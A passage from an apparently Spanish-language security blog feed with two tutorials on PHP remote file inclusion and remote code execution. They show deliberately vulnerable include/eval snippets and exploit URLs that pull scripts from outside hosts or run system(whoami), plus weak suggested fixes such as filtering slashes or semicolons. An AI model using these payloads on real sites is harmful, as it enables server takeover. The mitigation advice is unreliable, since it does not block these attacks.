<p>- Pedazo de código de test.php</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
&lt;?php<br />
$pagina=$_GET['pagina'];<br />
include $pagina;<br />
?&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>- Si entramos a la pagina encontraremos algunos warnnigns y otros errores:</p>
<p>Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2</p>
<p>- Podemos ver aquí que la variable &#8220;pagina&#8221; no está declarada. Entonces le podemos asignar cualquier valor a la variable &#8220;pagina&#8221;.<br />
Ejemplo :</p>
<p>http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt</p>
<p>- Pedazo de código de test.php</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
&lt;?php<br />
$pagina=$_GET['pagina'];<br />
include $pagina.&#8217;.php&#8217;;<br />
?&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>- Entonces, si hacemos la petición:</p>
<p>http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt</p>
<p>No va funcionar debido a que el script intentará incluir http://hypernethost.org/script.txt.php</p>
<p>Entonces agregaremos un &#8220;NULLBYTE&#8221; ( %00 ) y todo lo que este posterior al &#8220;NULLBYTE&#8221; será ignorado.<br />
Ejemplo:</p>
<p>http://127.0.0.1/test.php?pagina=http://ilegalintrusion.net/script.txt%00</p>
<p>El script será incluido con exito.</p>
<p>- Pedazo de codigo de test.php</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
&lt;?php<br />
$pagina=$_GET['pagina'];<br />
include $pagina.&#8217;logged=1&#8242;;<br />
?&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Y el logged=1 se volvera una variable. Es mejor usar NULLBYTE.<br />
Ejemplo:</p>
<p>http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt?logged=1</p>
<p>El script será incluído con éxito.</p>
<p>- Ejemplo Práctico:</p>
<p>Ahora un ejemplo desde un script.</p>
<p>- Pedazo de codigo de index.php</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
if (isset($_REQUEST["main_content"])){<br />
$main_content = $_REQUEST["main_content"];<br />
} else if (isset($_SESSION["main_content"])){<br />
$main_content = $_SESSION["main_content"];<br />
}<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..etc&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br />
ob_start();<br />
require_once($main_content);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Podemos ver que la variable &#8220;main_content&#8221;  está siendo pedida por el metodo $_REQUEST. El atacante puede  asignarle el valor que desee.<br />
Debajo, la variable &#8220;main_content&#8221; es incluida, entonces si realizamos la siguiente<br />
petición:</p>
<p>http://127.0.0.1/index.php?main_content=http://hypernethost.org/script.txt</p>
<p>Nuestro script será correctamente incluido.</p>
<p>3.2 &#8211; Solución</p>
<p>Forma Simple : No permitir caracteres especiales en las variables: filtrar el slash &#8220;/&#8221; .<br />
Otra Forma : Filtrar &#8220;http&#8221; , &#8220;https&#8221; , &#8220;ftp&#8221; y&#8221;smb&#8221;.</p>
<p>Andrés Gómez</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hypernethost.com.uy/2010/01/25/identificando-rfi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Identificando RCE</title>
		<link>http://blog.hypernethost.com.uy/2010/01/25/identificando-rce/</link>
		<comments>http://blog.hypernethost.com.uy/2010/01/25/identificando-rce/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 19:04:33 +0000</pubDate>
		<dc:creator>Director</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.hypernethost.com.uy/?p=147</guid>
		<description><![CDATA[Remote Code Execution (RCE) - Tips : Usted necesita escribir codigo php valido, incluyendo las terminaciones ( ; ) . - Ejemplo Básico: - Pedazo de código de test.php &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#60;?php $code=$_GET['code']; eval($code); ?&#62; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; La funcion &#8220;eval&#8221; evalua una &#8220;string&#8221; como codigo PHP. Entonces en este caso estamos habilitados para ejecutar  nuestro código PHP. [...]]]></description>
			<content:encoded><![CDATA[<p>Remote Code Execution (RCE)<br />
- Tips : Usted necesita escribir codigo php valido, incluyendo las terminaciones ( ; ) .</p>
<p>- Ejemplo Básico:<br />
- Pedazo de código de test.php<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
&lt;?php<br />
$code=$_GET['code'];<br />
eval($code);<br />
?&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
La funcion &#8220;eval&#8221; evalua una &#8220;string&#8221; como codigo PHP. Entonces en este caso estamos habilitados para ejecutar  nuestro código PHP.<br />
Ejemplos:</p>
<p>http://127.0.0.1/test.php?code=phpinfo();</p>
<p>http://127.0.0.1/test.php?code=system(whoami);</p>
<p>Y veremos la salida del codigo php inyectado por nosotros.</p>
<p>- Ejemplo Simple:<br />
- Pedazo de código de system/services/init.php<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
$conf = array_merge($conf,$confweb);<br />
}<br />
@eval(stripslashes($_REQUEST['anticode']));<br />
if ( $_SERVER['HTTP_CLIENT_IP'] )<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Vemos que el &#8220;anticode&#8221; esta siendo requerido por el metodo $_REQUEST y el programador<br />
&#8220;aseguró&#8221; las entradas con &#8220;stripslashes&#8221; que está &#8220;sobrando&#8221; aqui, no necesiamos<br />
&#8220;slashes&#8221; para ejecutar nuestro codigo php. Solo si queremos incluir una url. Entonces podremos inyectar nuestro código php<br />
Ejemplo :</p>
<p>http://127.0.0.1/test.php?anticode=phpinfo();</p>
<p>Genial, inyeccion realizada,phpinfo() resulta impresa.</p>
<p>- Solución</p>
<p>Forma Simple : no permitir &#8220;;&#8221; y el código php debería ser inválido.<br />
Otra Forma : No permitir caracteres especiales como &#8220;(&#8221; or &#8220;)&#8221; etc.</p>
<p>Andrés Gómez</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hypernethost.com.uy/2010/01/25/identificando-rce/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
